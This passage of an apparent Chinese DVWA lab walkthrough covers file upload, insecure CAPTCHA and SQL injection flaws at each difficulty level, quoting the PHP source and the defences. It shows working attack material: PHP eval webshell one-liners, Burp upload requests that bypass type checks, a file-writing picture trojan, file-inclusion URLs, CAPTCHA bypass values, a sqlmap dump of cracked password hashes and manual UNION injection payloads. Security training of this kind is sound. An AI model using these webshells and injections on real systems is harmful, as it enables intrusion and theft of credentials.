    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    

    设置白名单,简单粗暴。

    6. File Upload(文件上传)

    文件上传漏洞指的是服务器对上传的文件没有进行严格的审查,如对文件类型的限制,对文件内容的审查,对文件大小的限制等,从而使得攻击者可以上传木马文件,获取到服务器的webshell。

    6.1 Low

    代码:

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); #路径+上传的文件名
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; #爆出上传路径
        }
    }
    
    ?> 
    

    服务器对上传的文件内容,文件名没有进行过滤,而且最后还爆出了上传的路径。
    上传一句话木马:

    <?php
    @eval($_POST['Jason']);
    ?>
    
    Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development .png-42.1kBScreenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development .png-42.1kB

    用C刀连接成功:


    asgasg.png-27.6kBasgasg.png-27.6kB
    hertuer.png-31.1kBhertuer.png-31.1kB
    • 上传漏洞的利用条件:
    1. 木马文件上传成功
    2. 文件可以执行
    3. 上传路径可知

    6.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; #文件名
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; #文件类型
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; #文件大小
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&  #文件类型为image/jpeg,image/png
            ( $uploaded_size < 100000 ) ) {   #文件大小<100000
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?> 
    

    对文件类型和文件大小进行了限制,只需要通过Burpsuite修改即可绕过限制上传木马文件,或者将一句话木马写到图片中也可以。

    1. Burpsuite修改(上传之后是php文件)

    a. 修改type(上传的是php文件)

    Host: 192.168.0.115
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Content-Type: multipart/form-data; boundary=---------------------------1687967939550
    Content-Length: 447
    Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/
    Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------1687967939550
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    -----------------------------1687967939550
    Content-Disposition: form-data; name="uploaded"; filename="hacktest1.php"
    Content-Type: application/octet-stream                                 #改成image/jpeg
    
    <?php
    @eval($_POST['Jason']);
    ?>
    -----------------------------1687967939550
    Content-Disposition: form-data; name="Upload"
    
    Upload
    -----------------------------1687967939550--
    
    
    sdgh.png-113.4kBsdgh.png-113.4kB

    上传的是php文件,可以执行,用C刀连接成功。


    b. 先将php文件改为png,再修改name后缀(上传的是php文件)

    POST /dvwa/vulnerabilities/upload/ HTTP/1.1
    Host: 192.168.0.115
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Content-Type: multipart/form-data; boundary=---------------------------2428151903981
    Content-Length: 437
    Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/
    Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    -----------------------------2428151903981
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    -----------------------------2428151903981
    Content-Disposition: form-data; name="uploaded"; filename="hacktest1.png"    #改为hacktest1.php
    Content-Type: image/png
    
    <?php
    @eval($_POST['Jason']);
    ?>
    -----------------------------2428151903981
    Content-Disposition: form-data; name="Upload"
    
    Upload
    -----------------------------2428151903981--
    

    用C刀连接成功。


    2.图片木马(上传之后是png文件)
    下面说的是上传png图片文件,需要通过文件包含漏洞来执行上传的文件,而不能直接通过C刀直接连接,C刀直接连接不能将png文件解析成php文件,所以要用文件包含漏洞来执行文件里的命令,产生一个php文件供C刀连接。

    利用edjpgcom将一句话木马写到图片里:意思是在当前路径生成一个hack.php文件,内容为一句话木马。
    <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?>

    上传成功后,利用文件包含漏洞执行上传的文件,从而在当前路径产生一个hack.php文件:

    Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-28kBScreenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-28kB
    文件包含:
    http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.0.115/dvwa/hackable/uploads/hacktest.png
    C刀连接:http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php
    hsfgh.png-58.5kBhsfgh.png-58.5kB
    1. 00截断
      filename="hack1.php" 在后面添加00。
      修改Content-Type: application/octet-stream为image/png
      asgafg.png-104.2kBasgafg.png-104.2kB

    6.3 High

    代码:

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&                 #文件名后缀必须是jpg,png,jpeg
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {    
            #getimagesize() 函数用于获取图像大小及相关信息,所以必须上传图片木马
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?> 
    

    文件上传+文件包含:

    1. 上传木马图片 <?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?>
    2. 文件包含:
      http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/hackable/uploads/hacktest.png
    3. C刀连接:http://192.168.0.115/dvwa/vulnerabilities/fi/hack.php

    6.4 Impossible

    代码:

    
    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    #CSRF防护
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; #对文件名加密,使得00截断无法绕过
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );   #返回一图像标识符
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );   #imagecreatefrompng() 返回一图像标识符,代表了从给定的文件名取得的图像
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            }
            else {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    
    1. Impossible级别对文件名做加密,防止00截断绕过;
    2. 加入了token的验证,防止CSRF攻击;
    3. 加入了图像内容的识别,防止含有恶意脚本的文件上传。

    7. Insecure CAPTCHA()

    7.1 Low

    代码:

    <?php
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
            $_SERVER[ 'REMOTE_ADDR' ],
            $_POST[ 'recaptcha_challenge_field' ],
            $_POST[ 'recaptcha_response_field' ] );
    
        // Did the CAPTCHA fail?
        if( !$resp->is_valid ) {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                // Show next stage for the user
                echo "
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                    <form action=\"#\" method=\"POST\">
                        <input type=\"hidden\" name=\"step\" value=\"2\" />
                        <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                        <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                        <input type=\"submit\" name=\"Change\" value=\"Change\" />
                    </form>";
            }
            else {
                // Both new passwords do not match.
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    }
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check to see if both password match
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the end user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with the passwords matching
            echo "<pre>Passwords did not match.</pre>";
            $hide_form = false;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    

    有逻辑漏洞,当step=1,通过recaptcha_check_answer请求验证验证码的正确性,当我们用Burpsuite修改step=2可以直接绕过验证码验证。

    k.png-130.1kBk.png-130.1kB

    7.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
            $_SERVER[ 'REMOTE_ADDR' ],
            $_POST[ 'recaptcha_challenge_field' ],
            $_POST[ 'recaptcha_response_field' ] );
    
        // Did the CAPTCHA fail?
        if( !$resp->is_valid ) {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                // Show next stage for the user
                echo "
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                    <form action=\"#\" method=\"POST\">
                        <input type=\"hidden\" name=\"step\" value=\"2\" />
                        <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                        <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                        <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                        <input type=\"submit\" name=\"Change\" value=\"Change\" />
                    </form>";
            }
            else {
                // Both new passwords do not match.
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    }
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check to see if they did stage 1
        if( !$_POST[ 'passed_captcha' ] ) {
            $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
            $hide_form = false;
            return;
        }
    
        // Check to see if both password match
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the end user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with the passwords matching
            echo "<pre>Passwords did not match.</pre>";
            $hide_form = false;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    要验证$_POST[ 'passed_captcha' ]为真,抓包添加参数即可:

    gll.png-108.4kBgll.png-108.4kB

    7.3 High

    代码:

     <?php
    
    if( isset( $_POST[ 'Change' ] ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
            $_SERVER[ 'REMOTE_ADDR' ],
            $_POST[ 'recaptcha_challenge_field' ],
            $_POST[ 'recaptcha_response_field' ] );
    
        // Did the CAPTCHA fail?
        if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
        #post的['recaptcha_response_field'] 要等于 'hidd3n_valu3,并且useragent等于reCAPTCHA
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Ops. Password mismatch
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    
    
    
    

    通过抓包修改post的recaptcha_response_field=hidd3n_valu3,并且修改 User-Agent为reCAPTCHA

    k;j.png-147.1kBk;j.png-147.1kB

    7.4 Impossible

    代码:

    <?php
    
    if( isset( $_POST[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_new  = stripslashes( $pass_new );
        $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new  = md5( $pass_new );
    
        $pass_conf = $_POST[ 'password_conf' ];
        $pass_conf = stripslashes( $pass_conf );
        $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_conf = md5( $pass_conf );
    
        $pass_curr = $_POST[ 'password_current' ];
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_curr = md5( $pass_curr );
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
            $_SERVER[ 'REMOTE_ADDR' ],
            $_POST[ 'recaptcha_challenge_field' ],
            $_POST[ 'recaptcha_response_field' ] );
    
        // Did the CAPTCHA fail?
        if( !$resp->is_valid ) {
            // What happens when the CAPTCHA was entered incorrectly
            echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // Check that the current password is correct
            $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
            $data->execute();
    
            // Do both new password match and was the current password correct?
            if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
                // Update the database
                $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
                $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
                $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
                $data->execute();
    
                // Feedback for the end user - success!
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Feedback for the end user - failed!
                echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
                $hide_form = false;
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    
    1. 验证过程不再分为两个步骤了;
    2. 需要输入之前的密码,加强了防范;
    3. PDO技术防止sql注入;
    4. token验证防止CSRF攻击

    8. SQL Injection(SQL注入)

    SQL注入指的是攻击者通过注入恶意的sql语句,破坏sql查询语句的结构,绕过web服务器的检测,执行恶意的sql命令,最后拿到数据库里面的内容。


    • sql注入的分类:
      1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
      2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
      3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
      4.联合查询注入,可以使用union的情况下的注入。
      5.堆查询注入,可以同时执行多条语句的执行时的注入。

    • 手工sql注入步骤:

    1.判断是否存在注入点,字符型/数字型
    2.判断字段数order by
    3.判断显示的字段select 1,2,3
    4.查询数据库
    5.查询表
    6.查询字段
    7.拖库


    8.1 Low

    代码:

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?> 
    

    对id没有进行过滤,而且是字符型注入。
    sqlmap注入:

    root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=as94j6ostr2dnu3utbaeo264j7' -D dvwa -T users  --dump
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.1.11#stable}
    |_ -| . [)]     | .'| . |
    |___|_  ["]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 00:22:11
    
    [00:22:11] [INFO] resuming back-end DBMS 'mysql' 
    [00:22:11] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
        Payload: Submit=Submit&id=1' OR NOT 6456=6456#
    
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: Submit=Submit&id=1' AND (SELECT 6049 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(6049=6049,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- afyt
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind
        Payload: Submit=Submit&id=1' AND SLEEP(5)-- luAN
    
        Type: UNION query
        Title: MySQL UNION query (NULL) - 2 columns
        Payload: Submit=Submit&id=1' UNION ALL SELECT CONCAT(0x7176716271,0x63487a687a41724c63487755616975634a4f436b7057705772615477544856585a4c4859654d6766,0x7170717171),NULL#
    ---
    [00:22:11] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0
    [00:22:11] [INFO] fetching columns for table 'users' in database 'dvwa'
    [00:22:11] [INFO] fetching entries for table 'users' in database 'dvwa'
    [00:22:11] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [00:22:12] [INFO] using hash method 'md5_generic_passwd'
    [00:22:12] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [00:22:12] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [00:22:12] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [00:22:12] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    [00:22:12] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [00:22:12] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [00:22:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 00:22:12
    
    

    手工注入:

    1' and 1=1 -- - 
    1' and 1=2 -- -
    1' order by 2 -- -
    1' union select 1,2 -- - 
    1' union select database(),2 -- - 
    1' union select table_name,2 from information_schema.tables where table_schema=database() -- - 
    1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' -- -
    1' union select concat_ws(0x7c,user_id,user,password),2 from users -- -
    

    8.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
    
        $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); #mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义
    
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Display values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
